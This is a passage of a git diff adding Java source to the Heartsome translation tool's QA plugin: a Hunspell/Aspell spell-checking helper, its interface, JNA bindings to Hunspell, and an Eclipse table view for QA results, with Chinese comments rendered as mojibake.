首选项是å¦å¼€å¯å®žæ—¶æ‹¼å†™æ£€æŸ¥ + if (!isRealTimeSpell) { + return false; + } + return spelling.checkLangAvailable(language); + } + + // interface + public List getErrorWords(String tgtText, String language) { + if (isHunspell) { + LinkedList wordList = new LinkedList(); + getSingleWords(tgtText, wordList); + return spelling.getErrorWords(null, wordList, language); + }else { + List tagPositionList = getTagPosition(tgtText); + String pureText = PlaceHolderEditModeBuilder.PATTERN.matcher(tgtText).replaceAll(""); + LinkedList wordList = new LinkedList(); + getSingleWords(tgtText, wordList); + spelling.setTagPosition(tagPositionList); + return spelling.getErrorWords(pureText, wordList, language); + } + } + + public void propertyChange(PropertyChangeEvent event) { + System.out.println("开始é‡æ–°åˆå§‹åŒ–"); + loadParams(); + } + + /** + * 获å–å•ä¸ªå•è¯ï¼Œè¿™é‡Œé¢ä¸»è¦æ˜¯æ ¹æ®ä¸åŒçš„选项。得到è¦è¿›è¡Œæ‹¼å†™æ£€æŸ¥çš„å•è¯ + */ + private void getSingleWords(String tgtText, List tgtWordList) { + stringToken = new StringTokenizer(tgtText, Constant.SEPARATORS, false); + List ignoreParaList = null; + // 如果è¦å¤„ç†å¿½ç•¥éžè¯‘元素,那么执行如下æ“作 (备注:所有的忽略项。åªæ˜¯é’ˆå¯¹ hunspell) + if (isHunspell && ignoreNontrans) { + List tagPositionList = getTagPosition(tgtText); + String pureText = PlaceHolderEditModeBuilder.PATTERN.matcher(tgtText).replaceAll(""); + ignoreParaList = nontransOper.getIgnorePara(pureText, tagPositionList); + } + + int start = 0; + int length = 0; + int end = 0; + while(stringToken.hasMoreTokens()){ + String word = stringToken.nextToken(); + String pureWord = PlaceHolderEditModeBuilder.PATTERN.matcher(word).replaceAll(""); + start = tgtText.indexOf(word, start); + length = word.length(); + end = start + length; + + // ç»è¿‡ä¸€ç³»åˆ—的判断,从而删除一些ä¸ç¬¦åˆæ ‡å‡†çš„å•è¯ã€‚将剩下的å•è¯ä¼ å…¥æ‹¼å†™æ£€æŸ¥å™¨ä¸­è¿›è¡Œæ£€æŸ¥ + if (isHunspell) { + // 是å¦å¿½ç•¥éžè¯‘元素 + if (ignoreNontrans) { + boolean needIgnore = false; + for(Integer[] ignoreIndexs : ignoreParaList){ + if (start >= ignoreIndexs[0] && end <= ignoreIndexs[1] ) { + needIgnore = true; + break; + } + } + if (needIgnore) { + start = start + word.length(); + continue; + } + } + // 是å¦å¿½ç•¥é¦–å­—æ¯ä¸ºæ•°å­— + if (ignoreDigitalFirst && checkDigitalFirst(pureWord)) { + start = start + word.length(); + continue; + } + // 是å¦å¿½ç•¥é¦–å­—æ¯ä¸ºå¤§å†™ + if (ignoreUpperCaseFirst && checkUpperCaseFirst(pureWord)) { + start = start + word.length(); + continue; + } + + //是å¦å¿½ç•¥å…¨å¤§å†™å•è¯ + if (ignoreAllUpperCase && checkAllUpperCase(pureWord)) { + start = start + word.length(); + continue; + } + } + + tgtWordList.add(new SingleWord(word, pureWord, start, length)); + start = start + word.length(); + } + } + + /** + * 检查å•è¯æ˜¯å¦é¦–å­—æ¯å¤§å†™ + * @return + */ + private boolean checkDigitalFirst(String pureWord){ + return Character.isDigit(pureWord.charAt(0)); + } + + /** + * 检查å•è¯æ˜¯å¦é¦–å­—æ¯ä¸ºæ•°å­— + * @return + */ + private boolean checkUpperCaseFirst(String pureWord){ + String otherStr = pureWord.substring(1, pureWord.length()); + return Character.isUpperCase(pureWord.charAt(0)) && otherStr.equals(otherStr.toLowerCase()); + } + + /** + * 检查å•è¯æ˜¯å¦é¦–å­—æ¯ä¸ºæ•°å­— + * @return + */ + private boolean checkAllUpperCase(String pureWord){ + return pureWord.equals(pureWord.toUpperCase()); + } + + /** + * 获å–æ¯ä¸ªæ ‡è®°å ä½ç¬¦çš„ä½ç½® + * @param text + */ + private List getTagPosition(String text){ + List tagPostionList = new LinkedList(); + Matcher matcher = PlaceHolderEditModeBuilder.PATTERN.matcher(text); + while(matcher.find()){ + tagPostionList.add(matcher.start()); + } + return tagPostionList; + } + + public static void main(String[] args) { + String pureWord = "1RObert"; + if (Character.isDigit(pureWord.charAt(0))) { + System.out.println("是的"); + }else { + System.out.println("ä¸æ˜¯çš„"); + } + } +} diff --git a/ts/net.heartsome.cat.ts.ui.qa/src/net/heartsome/cat/ts/ui/qa/spell/inter/HSSpellChecker.java b/ts/net.heartsome.cat.ts.ui.qa/src/net/heartsome/cat/ts/ui/qa/spell/inter/HSSpellChecker.java new file mode 100644 index 0000000..03712da --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.qa/src/net/heartsome/cat/ts/ui/qa/spell/inter/HSSpellChecker.java @@ -0,0 +1,29 @@ +package net.heartsome.cat.ts.ui.qa.spell.inter; + +import java.util.List; + +import net.heartsome.cat.ts.core.bean.SingleWord; + +/** + * 两ç§æ‹¼å†™æ£€æŸ¥ç±»çš„æŽ¥å£ + * @author robert 2012-02-06 + * @version + * @since JDK1.6 + */ +public interface HSSpellChecker { + /** + * 获å–拼写检查中查询ä¸åˆ°çš„å•è¯ + * @param pureText 纯文,该å‚数用于 aspell + * @param tgtWordList ç»è¿‡æ‹†åˆ†åŽçš„å•è¯é›†åˆï¼Œè¯¥å‚数用于 hunspell + */ + public List getErrorWords(String pureText, List tgtWordList, String language); + /** è¯å…¸æ˜¯å¦å‘生错误,如果错误,将ä¸å†è¿›è¡Œæ‹¼å†™æ£€æŸ¥ */ + public boolean isError(); + /** 标记当å‰è¯­è¨€çš„拼写检查器是å¦è¢«åˆå§‹åŒ–,如果没有åˆå§‹åŒ–。那么还è¦åˆå§‹åŒ–
    ç›®å‰è¯¥æ–¹æ³•åªç”¨äºŽ hunspell
    */ + public boolean langIsLoad(String language); + /** 针对拼写检查。确定当å‰è¯­è¨€æ˜¯å¦æ”¯æŒ */ + public boolean checkLangAvailable(String language); + /** 用于 aspell ï¼Œå‘ aspell 传入所有标记的下标值 */ + public void setTagPosition(List tagPositionList); + +} diff --git a/ts/net.heartsome.cat.ts.ui.qa/src/net/heartsome/cat/ts/ui/qa/spell/inter/HunspellLibrary.java b/ts/net.heartsome.cat.ts.ui.qa/src/net/heartsome/cat/ts/ui/qa/spell/inter/HunspellLibrary.java new file mode 100644 index 0000000..1490f09 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.qa/src/net/heartsome/cat/ts/ui/qa/spell/inter/HunspellLibrary.java @@ -0,0 +1,68 @@ +package net.heartsome.cat.ts.ui.qa.spell.inter; + +import com.sun.jna.Library; +import com.sun.jna.Pointer; +import com.sun.jna.ptr.PointerByReference; + +/** + * Functions from $hunspell/src/hunspell/hunspell.h + * + * The Hunspell java bindings are licensed under the same terms as Hunspell itself (GPL/LGPL/MPL tri-license), + * see the file COPYING.txt in the root of the distribution for the exact terms. + * + * @author robert 2013-01-10 + */ + +public interface HunspellLibrary extends Library { + + /** + * Create the hunspell instance + * @param affpath The affix file + * @param dpath The dictionary file + * @return The hunspell object + */ + public Pointer Hunspell_create(String affpath, String dpath); + + /** + * Destroy him my robots... + * @param pHunspell The Hunspell object returned by Hunspell_create + */ + public void Hunspell_destroy(Pointer pHunspell); + + /** + * spell(word) - spellcheck word + * @param pHunspell The Hunspell object returned by Hunspell_create + * @param word The word to spellcheck. + * @return 0 = bad word, not 0 = good word + */ + public int Hunspell_spell(Pointer pHunspell, byte[] word); + + /** + * Get the dictionary encoding + * @param pHunspell : The Hunspell object returned by Hunspell_create + * @return The encoding name + */ + public String Hunspell_get_dic_encoding(Pointer pHunspell); + + /** + * Search suggestions + * @param pHunspell The Hunspell object returned by Hunspell_create + * @param slst + * input: pointer to an array of strings pointer and the (bad) word + * array of strings pointer (here *slst) may not be initialized + * output: number of suggestions in string array, and suggestions in + * a newly allocated array of strings (*slts will be NULL when number + * of suggestion equals 0.) + * @param word The word to offer suggestions for. + */ + public int Hunspell_suggest(Pointer pHunspell, PointerByReference slst, byte[] word); + + /** + * Free the memory used by the lists created as output from the other functions. + * @param pHunspell the Hunspell object returned by {@link #Hunspell_create(String, String)} + * @param slst the {@link PointerByReference} (char***) that is used for the suggestion lists + * @param n + */ + public void Hunspell_free_list(Pointer pHunspell, PointerByReference slst, int n); + +} diff --git a/ts/net.heartsome.cat.ts.ui.qa/src/net/heartsome/cat/ts/ui/qa/views/QAResultViewPart.java b/ts/net.heartsome.cat.ts.ui.qa/src/net/heartsome/cat/ts/ui/qa/views/QAResultViewPart.java new file mode 100644 index 0000000..ad83de0 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.qa/src/net/heartsome/cat/ts/ui/qa/views/QAResultViewPart.java @@ -0,0 +1,770 @@ +package net.heartsome.cat.ts.ui.qa.views; + +import java.beans.PropertyChangeEvent; +import java.beans.PropertyChangeListener; +import java.text.MessageFormat; +import java.util.ArrayList; +import java.util.List; + +import net.heartsome.cat.ts.core.qa.QAConstant; +import net.heartsome.cat.ts.ui.editors.IXliffEditor; +import net.heartsome.cat.ts.ui.qa.Activator; +import net.heartsome.cat.ts.ui.qa.model.QAResult; +import net.heartsome.cat.ts.ui.qa.model.QAResultBean; +import net.heartsome.cat.ts.ui.qa.resource.Messages; +import net.heartsome.cat.ts.ui.util.MultiFilesOper; + +import org.eclipse.core.resources.IFile; +import org.eclipse.core.resources.IWorkspaceRoot; +import org.eclipse.core.resources.ResourcesPlugin; +import org.eclipse.jface.dialogs.MessageDialog; +import org.eclipse.jface.viewers.ArrayContentProvider; +import org.eclipse.jface.viewers.ILabelProviderListener; +import org.eclipse.jface.viewers.ITableLabelProvider; +import org.eclipse.jface.viewers.StructuredSelection; +import org.eclipse.jface.viewers.TableViewer; +import org.eclipse.jface.viewers.Viewer; +import org.eclipse.jface.viewers.ViewerSorter; +import org.eclipse.swt.SWT; +import org.eclipse.swt.events.DisposeEvent; +import org.eclipse.swt.events.DisposeListener; +import org.eclipse.swt.events.KeyAdapter; +import org.eclipse.swt.events.KeyEvent; +import org.eclipse.swt.events.MouseAdapter; +import org.eclipse.swt.events.MouseEvent; +import org.eclipse.swt.events.SelectionAdapter; +import org.eclipse.swt.events.SelectionEvent; +import org.eclipse.swt.graphics.Image; +import org.eclipse.swt.layout.GridData; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Display; +import org.eclipse.swt.widgets.Event; +import org.eclipse.swt.widgets.Listener; +import org.eclipse.swt.widgets.Menu; +import org.eclipse.swt.widgets.MenuItem; +import org.eclipse.swt.widgets.Table; +import org.eclipse.swt.widgets.TableColumn; +import org.eclipse.swt.widgets.TableItem; +import org.eclipse.ui.IEditorPart; +import org.eclipse.ui.IEditorReference; +import org.eclipse.ui.IWorkbenchPage; +import org.eclipse.ui.IWorkbenchWindow; +import org.eclipse.ui.PartInitException; +import org.eclipse.ui.PlatformUI; +import org.eclipse.ui.part.FileEditorInput; +import org.eclipse.ui.part.ViewPart; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +/** + * å“质检查结果视图 + * @author robert 2011-11-12 + */ +public class QAResultViewPart extends ViewPart implements PropertyChangeListener { + + /** 常é‡ï¼Œè§†å›¾ID。 */ + public static final String ID = "net.heartsome.cat.ts.ui.qa.views.QAResultViewPart"; + private Composite parent; + private TableViewer tableViewer; + private Table table; + private QAResult qaResult; + private IWorkspaceRoot root; + private IWorkbenchWindow window; + /** 列表中所显示的数æ®ï¼Œè¿™ä¸ªæ˜¯ç”¨æ¥æŽ’åºçš„,其值éšåˆ—表数æ®åˆ é™¤æ—¶åˆ é™¤ */ + private List inputData = new ArrayList(); + private Image errorImg; + private Image warningImg; + private boolean isMultiFile; + private MultiFilesOper oper; + private final static String XLIFF_EDITOR_ID = "net.heartsome.cat.ts.ui.xliffeditor.nattable.editor"; + public final static Logger logger = LoggerFactory.getLogger(QAResultViewPart.class.getName()); + /** 标识当å‰å“质检查结果视图所处ç†çš„æ–‡ä»¶è·¯å¾„çš„é›†åˆ */ + private List filePathList = null; + + private Image deleteImage = Activator.getImageDescriptor("images/delete.png").createImage(); + + public QAResultViewPart() { + errorImg = Activator.getImageDescriptor("icons/error.png").createImage(); + warningImg = Activator.getImageDescriptor("icons/warning.png").createImage(); + } + + @Override + public void createPartControl(Composite parent) { + this.parent = parent; + root = ResourcesPlugin.getWorkspace().getRoot(); + window = PlatformUI.getWorkbench().getActiveWorkbenchWindow(); + createTable(); + } + + @Override + public void setFocus() { + // TODO Auto-generated method stub + + } + + @Override + public void dispose() { + if (qaResult != null) { + qaResult.listeners.removePropertyChangeListener(this); + } + if(errorImg != null && !errorImg.isDisposed()){ + errorImg.dispose(); + } + if(warningImg != null && !warningImg.isDisposed()){ + warningImg.dispose(); + } + if (deleteImage != null && !deleteImage.isDisposed()) { + deleteImage.dispose(); + } + super.dispose(); + } + + /** labelProvider. */ + private ITableLabelProvider labelProvider = new ITableLabelProvider() { + public Image getColumnImage(Object element, int columnIndex) { + if (columnIndex == 0) { + if (element instanceof QAResultBean) { + QAResultBean bean = (QAResultBean) element; + if (0 == bean.getTipLevel()) { + return errorImg; + } else if (1 == bean.getTipLevel()) { + return warningImg; + } + } + } + return null; + } + + public String getColumnText(Object element, int columnIndex) { + if (element instanceof QAResultBean) { + QAResultBean bean = (QAResultBean) element; + switch (columnIndex) { + case 0: + return ""; + case 1: + return bean.getLineNumber(); + case 2: + return bean.getQaType(); + case 3: + return bean.getErrorTip(); + case 4: + return bean.getResource(); + case 5: + return bean.getLangPair(); + default: + return ""; + } + } + return null; + } + + public void addListener(ILabelProviderListener listener) { + + } + + public void dispose() { + + } + + public boolean isLabelProperty(Object element, String property) { + return false; + } + + public void removeListener(ILabelProviderListener listener) { + + } + + }; + + public void createTable() { + + tableViewer = new TableViewer(parent, SWT.BORDER | SWT.FULL_SELECTION | SWT.MULTI | SWT.H_SCROLL | SWT.V_SCROLL); + table = tableViewer.getTable(); + GridData tableData = new GridData(SWT.FILL, SWT.FILL, true, true); + table.setLayoutData(tableData); + table.setHeaderVisible(true); + table.setLinesVisible(true); + + tableViewer.setLabelProvider(labelProvider); + tableViewer.setContentProvider(new ArrayContentProvider()); + tableViewer.setInput(inputData); + // tableViewer.setSorter(new QASorter()); + + String[] columnNames = new String[] { Messages.getString("qa.views.QAResultViewPart.columnTipLevel"), + Messages.getString("qa.views.QAResultViewPart.columnErrorLine"), + Messages.getString("qa.views.QAResultViewPart.columnQAType"), + Messages.getString("qa.views.QAResultViewPart.columnErrorTip"), + Messages.getString("qa.views.QAResultViewPart.columnFilePath"), + Messages.getString("qa.views.QAResultViewPart.columnLangPair") }; + + // 第0列为错误级别 + TableColumn tipLevelColumn = new TableColumn(table, SWT.BOTTOM | SWT.CENTER); + tipLevelColumn.setText(columnNames[0]); + // tipLevelColumn.setAlignment(SWT.RIGHT_TO_LEFT); + tipLevelColumn.addSelectionListener(new SelectionAdapter() { + boolean asc = true; + + @Override + public void widgetSelected(SelectionEvent e) { + tableViewer.setSorter(asc ? QASorter.tipLevel_ASC : QASorter.tipLevel_DESC); + asc = !asc; + } + }); + + // ç¬¬ä¸€åˆ—ä¸ºè¡Œå· + TableColumn lineNumberColumn = new TableColumn(table, SWT.LEFT); + lineNumberColumn.setText(columnNames[1]); + lineNumberColumn.addSelectionListener(new SelectionAdapter() { + boolean asc = true; + + @Override + public void widgetSelected(SelectionEvent e) { + tableViewer.setSorter(asc ? QASorter.lineNumber_ASC : QASorter.lineNumber_DESC); + asc = !asc; + } + }); + + // 第二列为检查类型 + TableColumn qaTypeColumn = new TableColumn(table, SWT.LEFT); + qaTypeColumn.setText(columnNames[2]); + qaTypeColumn.addSelectionListener(new SelectionAdapter() { + boolean asc = true; + + @Override + public void widgetSelected(SelectionEvent e) { + tableViewer.setSorter(asc ? QASorter.qaType_ASC : QASorter.qaType_DESC); + asc = !asc; + } + }); + + // 第三行为错误æ述,ä¸æ·»åŠ æŽ’åºåŠŸèƒ½ + TableColumn qaTipColumn = new TableColumn(table, SWT.LEFT); + qaTipColumn.setText(columnNames[3]); + + // 第四行为资æº(路径) + TableColumn resourceCln = new TableColumn(table, SWT.LEFT); + resourceCln.setText(columnNames[4]); + resourceCln.addSelectionListener(new SelectionAdapter() { + boolean asc = true; + + @Override + public void widgetSelected(SelectionEvent e) { + tableViewer.setSorter(asc ? QASorter.resource_ASC : QASorter.resource_DESC); + asc = !asc; + } + }); + + // 第五列,语言对 + TableColumn langPairCln = new TableColumn(table, SWT.LEFT); + langPairCln.setText(columnNames[5]); + langPairCln.addSelectionListener(new SelectionAdapter() { + boolean asc = true; + + @Override + public void widgetSelected(SelectionEvent e) { + tableViewer.setSorter(asc ? QASorter.langPair_ASC : QASorter.langPair_DESC); + asc = !asc; + } + }); + // åˆå§‹åŒ–时默认以行å·è¿›è¡ŒæŽ’åº + tableViewer.setSorter(QASorter.lineNumber_ASC); + + // 让列表列宽动æ€å˜åŒ– + table.addListener(SWT.Resize, new Listener() { + public void handleEvent(Event event) { + final Table table = ((Table) event.widget); + final TableColumn[] columns = table.getColumns(); + event.widget.getDisplay().syncExec(new Runnable() { + public void run() { + double[] columnWidths = new double[] { 0.08, 0.08, 0.14, 0.36, 0.2, 0.13 }; + for (int i = 0; i < columns.length; i++) + columns[i].setWidth((int) (table.getBounds().width * columnWidths[i])); + } + }); + } + }); + + table.addMouseListener(new MouseAdapter() { + public void mouseDoubleClick(MouseEvent e) { + locationRow(); + } + }); + + table.addKeyListener(new KeyAdapter() { + public void keyPressed(KeyEvent e) { + if (e.keyCode == QAConstant.QA_CENTERKEY_1 || e.keyCode == QAConstant.QA_CENTERKEY_2) { + locationRow(); + } + } + }); + + createPropMenu(); + + } + + + + /** + * 创建å³é”®å‚æ•° + */ + private void createPropMenu() { + Menu propMenu = new Menu(table); + table.setMenu(propMenu); + + MenuItem deletWarnItem = new MenuItem(propMenu, SWT.NONE); + deletWarnItem.setText(Messages.getString("views.QAResultViewPart.deletWarnItem")); + deletWarnItem.setImage(deleteImage); + deletWarnItem.addSelectionListener(new SelectionAdapter() { + @Override + public void widgetSelected(SelectionEvent e) { + QAResultBean bean; + for (int i = 0; i < inputData.size(); i++) { + bean = inputData.get(i); + // 0为错误,1为警告 + if (1 == bean.getTipLevel()) { + inputData.remove(bean); + i--; + } + } + tableViewer.refresh(); + } + }); + + MenuItem deleteAllItem = new MenuItem(propMenu, SWT.NONE); + deleteAllItem.setText(Messages.getString("views.QAResultViewPart.deleteAllItem")); + deleteAllItem.setImage(deleteImage); + deleteAllItem.addSelectionListener(new SelectionAdapter() { + @Override + public void widgetSelected(SelectionEvent e) { + inputData.clear(); + tableViewer.refresh(); + } + }); + + propMenu.addDisposeListener(new DisposeListener() { + + public void widgetDisposed(DisposeEvent e) { + if(deleteImage!= null && !deleteImage.isDisposed()){ + deleteImage.dispose(); + } + } + }); + +// MenuItem ignoreSpellItem = new MenuItem(propMenu, SWT.NONE); +// ignoreSpellItem.setText(Messages.getString("views.QAResultViewPart.ignoreSpellItem")); + } + + /** + * å°†å“è´¨æ£€æŸ¥çš„ç»“æžœä¼ åˆ°è¿™é‡Œæ¥ + */ + public void setTableData(final String[] qaResultData) { + try { + Display.getCurrent().asyncExec(new Runnable() { + public void run() { + TableItem ti = new TableItem(table, 0); + ti.setText(qaResultData); + // ti.setImage(index, image); + table.update(); + // tableViewer.setInput(qaResultData); + } + }); + } catch (Exception e) { + e.printStackTrace(); + logger.error(Messages.getString("qa.views.QAResultViewPart.log1"), e); + } + } + + public void propertyChange(final PropertyChangeEvent evt) { + /* + * 备注,传过æ¥çš„æ•°æ®æ˜¯ä¸€ä¸ª ArrayList, æ¯ç»„æ•°æ®éƒ½æ˜¯ç›¸åŒçš„ rowId + */ + if ("printData".equals(evt.getPropertyName())) { + try { + Display.getDefault().syncExec(new Runnable() { + @SuppressWarnings("unchecked") + public void run() { + Object obj = evt.getNewValue(); + if (obj instanceof List) { + List objList = (List) obj; + if (objList.size() <= 0) { + return; + } + +// StringBuffer sb = new StringBuffer(); +// sb.append("是å¦æ˜¯è‡ªåŠ¨æ£€æŸ¥ã€€ï¼ã€€" + qaResult.isAutoQA()); +// sb.append("\n"); +// sb.append("是å¦å¤„ç†åŒä¸€å¯¹è±¡ = " + qaResult.isSameOperObjForAuto()); +// MessageDialog.openInformation(getSite().getShell(), "用于测试", sb.toString()); + + + String rowId = objList.get(0).getRowId(); + // 如果是自动检查。那么è¦åˆ é™¤ä¹‹å‰çš„记录 + if (qaResult.isAutoQA()) { + if (qaResult.isSameOperObjForAuto()) { + for(int i = 0; i < inputData.size(); i ++){ + QAResultBean bean = inputData.get(i); + if (rowId.equals(bean.getRowId())) { + inputData.remove(bean); + i --; + } + } + }else { +// MessageDialog.openInformation(getSite().getShell(), "通知", "这里è¦æ¸…ç©ºæ•°æ® + filePathList.length = " + filePathList.size()); + inputData.clear(); + tableViewer.refresh(); + + filePathList = qaResult.getFilePathList(); + qaResult.setSameOperObjForAuto(true); + } + } + inputData.addAll(objList); + tableViewer.refresh(); + + if (qaResult.isAutoQA()) { + tableViewer.setSelection(new StructuredSelection(objList)); + } + }else if (obj instanceof String) { + // 这是针对自动å“质检查,若一个文本段没有错误,那么就将这个文本段之å‰çš„æ示进行清除 + if (qaResult.isAutoQA()) { + if (qaResult.isSameOperObjForAuto()) { + String rowId = (String) obj; + for(int i = 0; i < inputData.size(); i ++){ + QAResultBean bean = inputData.get(i); + if (rowId.equals(bean.getRowId())) { + inputData.remove(bean); + i --; + } + } + }else { + inputData.clear(); + tableViewer.refresh(); + + filePathList = qaResult.getFilePathList(); + qaResult.setSameOperObjForAuto(true); + } + } + + tableViewer.refresh(); + } + } + }); + } catch (Exception e) { + e.printStackTrace(); + logger.error(Messages.getString("qa.views.QAResultViewPart.log1"), e); + } + } else if ("isMultiFiles".equals(evt.getPropertyName())) { + try { + Display.getCurrent().syncExec(new Runnable() { + public void run() { + isMultiFile = (Boolean) ((Object[]) evt.getNewValue())[0]; + if (isMultiFile) { + oper = (MultiFilesOper) ((Object[]) evt.getNewValue())[1]; + }else { + oper = null; + } + } + }); + } catch (Exception e) { + e.printStackTrace(); + logger.error(Messages.getString("qa.views.QAResultViewPart.log1"), e); + } + } + } + + public void registLister(QAResult qaResult) { + this.qaResult = qaResult; + this.qaResult.listeners.addPropertyChangeListener(this); + + if (filePathList != null && filePathList.size() > 0) { + // 自动å“质检查这里是ä¸èƒ½ä¿å­˜ç›¸å…³ä¿¡æ¯çš„ + if (!qaResult.isAutoQA()) { + filePathList = this.qaResult.getFilePathList(); + }else { + boolean isSameOperObj = true; + List curFilePathList = this.qaResult.getFilePathList(); + if (curFilePathList.size() == filePathList.size()) { + for(String filePath : filePathList){ + if (curFilePathList.contains(filePath)) { + curFilePathList.remove(filePath); + }else { + isSameOperObj = false; + break; + } + } + }else { + isSameOperObj = false; + } + this.qaResult.setSameOperObjForAuto(isSameOperObj); + } + }else { + filePathList = this.qaResult.getFilePathList(); + } + } + + /** + * åŒå‡»æˆ–按回车键,将å“质检查结果中的数æ®å®šä½åˆ°ç¿»è¯‘ç•Œé¢ä¸ŠåŽ»ã€‚ + */ + public void locationRow() { + TableItem[] items = table.getSelection(); + if (items.length <= 0) { + return; + } + // 获å–第一行选择的值 + TableItem item = items[0]; + String fileFullPath = item.getText(4); + // 如果是åˆå¹¶æ‰“开的文件 + if (isMultiFile) { + IXliffEditor xliffEditor = openMultiFilesEditor(); + if (xliffEditor == null) { + return; + } + String lineNumber = item.getText(1); + // 跳转到错误行 + xliffEditor.setFocus(); + xliffEditor.jumpToRow(Integer.parseInt(lineNumber) - 1, true); + return; + } else { + // 检查该文件是å¦å·²ç»æ‰“开,如果没有打开,就在界é¢ä¸Šæ‰“å¼€,å†è¿”回这个 + IXliffEditor xliffEditor = openEditor(fileFullPath); + if (xliffEditor == null) { + return; + } + String lineNumber = item.getText(1); + // 跳转到错误行 + xliffEditor.setFocus(); + xliffEditor.jumpToRow(Integer.parseInt(lineNumber) - 1, false); + } + } + + public IXliffEditor openEditor(String fileFullPath) { + IFile ifile = root.getFileForLocation(root.getLocation().append(fileFullPath)); + FileEditorInput fileInput = new FileEditorInput(ifile); + + IEditorReference[] editorRefer = window.getActivePage().findEditors(fileInput, XLIFF_EDITOR_ID, + IWorkbenchPage.MATCH_INPUT | IWorkbenchPage.MATCH_ID); + + IEditorPart editorPart = null; + + IXliffEditor xliffEditor = null; + if (editorRefer.length >= 1) { + editorPart = editorRefer[0].getEditor(true); + xliffEditor = (IXliffEditor) editorPart; + // 若该文件未激活,激活此文件 + if (window.getActivePage().getActiveEditor() != editorPart) { + window.getActivePage().activate(editorPart); + } + // 对于已ç»æ‰“开过的文件,进行é‡æŽ’åº + xliffEditor.resetOrder(); + } else { // 如果文件没有打开,那么先打开文件 + try { + if(!validateXliffCanOpen(ifile)){ + return null; + } + xliffEditor = (IXliffEditor) window.getActivePage().openEditor(fileInput, XLIFF_EDITOR_ID, true, + IWorkbenchPage.MATCH_INPUT | IWorkbenchPage.MATCH_ID); + } catch (PartInitException e) { + e.printStackTrace(); + logger.error(Messages.getString("qa.views.QAResultViewPart.log2"), e); + } + } + + return xliffEditor; + } + + /** + * 处ç†åˆå¹¶æ‰“开文件 nattable editor的相关问题 + * @return ; + */ + public IXliffEditor openMultiFilesEditor() { + IXliffEditor xliffEditor = null; + FileEditorInput fileInput = new FileEditorInput(oper.getCurMultiTempFile()); + + IEditorReference[] editorRefer = window.getActivePage().findEditors(fileInput, XLIFF_EDITOR_ID, + IWorkbenchPage.MATCH_INPUT | IWorkbenchPage.MATCH_ID); + + IEditorPart editorPart = null; + + if (editorRefer.length >= 1) { + editorPart = editorRefer[0].getEditor(true); + xliffEditor = (IXliffEditor) editorPart; + // 若该文件未激活,激活此文件 + if (window.getActivePage().getActiveEditor() != editorPart) { + window.getActivePage().activate(editorPart); + } + // 对于已ç»æ‰“开过的文件,进行é‡æŽ’åº + xliffEditor.resetOrder(); + } else { // 如果文件没有打开,那么先打开文件 + try { + // 如果ä¿å­˜åˆå¹¶æ‰“开所有信æ¯çš„临时文件已ç»è¢«åˆ é™¤ï¼Œé‚£ä¹ˆï¼Œé‡æ–°ç”Ÿæˆä¸´æ—¶æ–‡ä»¶ + if (!oper.getCurMultiTempFile().getLocation().toFile().exists()) { + // 检查这两个文件是å¦é‡æ–°è¿›è¡Œåˆå¹¶æ‰“开了的。 + IFile findMultiTempIfile = oper.getMultiFilesTempIFile(true); + if (findMultiTempIfile != null) { + fileInput = new FileEditorInput(findMultiTempIfile); + oper.setCurMultiTempFile(findMultiTempIfile); + } else { + //先验è¯è¿™äº›æ‰€å¤„ç†çš„文件是å¦æœ‰å·²ç»è¢«æ‰“开的 + List openedFileList = oper.getOpenedIfile(); + if (openedFileList.size() > 0) { + String openFileStr = ""; + for(IFile ifile : openedFileList){ + openFileStr += "\t" + ifile.getFullPath().toOSString() + "\n"; + } + MessageDialog.openInformation(getSite().getShell(), Messages.getString("views.QAResultViewPart.msgTitle"), + MessageFormat.format(Messages.getString("qa.views.QAResultViewPart.addTip1"), openFileStr)); + return null; + } + + // 如果选中的文件没有åˆå¹¶æ‰“开,那么就é‡æ–°æ‰“开它们 + IFile multiIFile = oper.createMultiTempFile(); + if (multiIFile != null && multiIFile.exists()) { + fileInput = new FileEditorInput(multiIFile); + oper.setCurMultiTempFile(multiIFile); + } else { + MessageDialog.openInformation(getSite().getShell(), + Messages.getString("views.QAResultViewPart.msgTitle"), + Messages.getString("views.QAResultViewPart.msg1")); + return null; + } + + xliffEditor = (IXliffEditor) window.getActivePage().openEditor(fileInput, XLIFF_EDITOR_ID, true, + IWorkbenchPage.MATCH_INPUT | IWorkbenchPage.MATCH_ID); + } + + } + } catch (PartInitException e) { + e.printStackTrace(); + logger.error(Messages.getString("qa.views.QAResultViewPart.log2"), e); + } + } + + return xliffEditor; + } + + /** + * 验è¯å½“å‰è¦å•ä¸ªæ‰“开的文件是å¦å·²ç»è¢«åˆå¹¶æ‰“开,针对å•ä¸ªæ–‡ä»¶çš„å“è´¨æ£€æŸ¥ç‚¹å‡»ç»“æžœè¿›è¡Œå®šä½ + * @return + */ + public boolean validateXliffCanOpen(IFile iFile){ + IEditorReference[] editorRes = window.getActivePage().getEditorReferences(); + for (int i = 0; i < editorRes.length; i++) { + IXliffEditor editor = (IXliffEditor) editorRes[i].getEditor(true); + if (editor.isMultiFile()) { + if (editor.getMultiFileList().indexOf(iFile.getLocation().toFile()) != -1) { + MessageDialog.openInformation(getSite().getShell(), Messages.getString("views.QAResultViewPart.msgTitle"), + MessageFormat.format(Messages.getString("qa.views.QAResultViewPart.addTip2"), iFile.getFullPath().toOSString())); + return false; + } + } + } + + return true; + } + + /** + * å“质检查显示数æ®çš„列表排åºç±» + * @author robert + * @version + * @since JDK1.6 + */ + static class QASorter extends ViewerSorter { + private static final int tipLevel_ID = 1; + private static final int lineNumber_ID = 2; // é”™è¯­è¡Œå· + private static final int qaType_ID = 3; // 检查类型 + private static final int resource_ID = 5; // 第四列错语æè¿°ä¸æŠ€æŒæŽ’åºï¼Œè¿™æ˜¯ç¬¬äº”列,路径 + private static final int langPair_ID = 6; // 第六列,语言对 + + public static final QASorter tipLevel_ASC = new QASorter(tipLevel_ID); + public static final QASorter tipLevel_DESC = new QASorter(-tipLevel_ID); + + public static final QASorter lineNumber_ASC = new QASorter(lineNumber_ID); + public static final QASorter lineNumber_DESC = new QASorter(-lineNumber_ID); + + public static final QASorter qaType_ASC = new QASorter(qaType_ID); + public static final QASorter qaType_DESC = new QASorter(-qaType_ID); + + public static final QASorter resource_ASC = new QASorter(resource_ID); + public static final QASorter resource_DESC = new QASorter(-resource_ID); + + public static final QASorter langPair_ASC = new QASorter(langPair_ID); + public static final QASorter langPair_DESC = new QASorter(-langPair_ID); + + private int 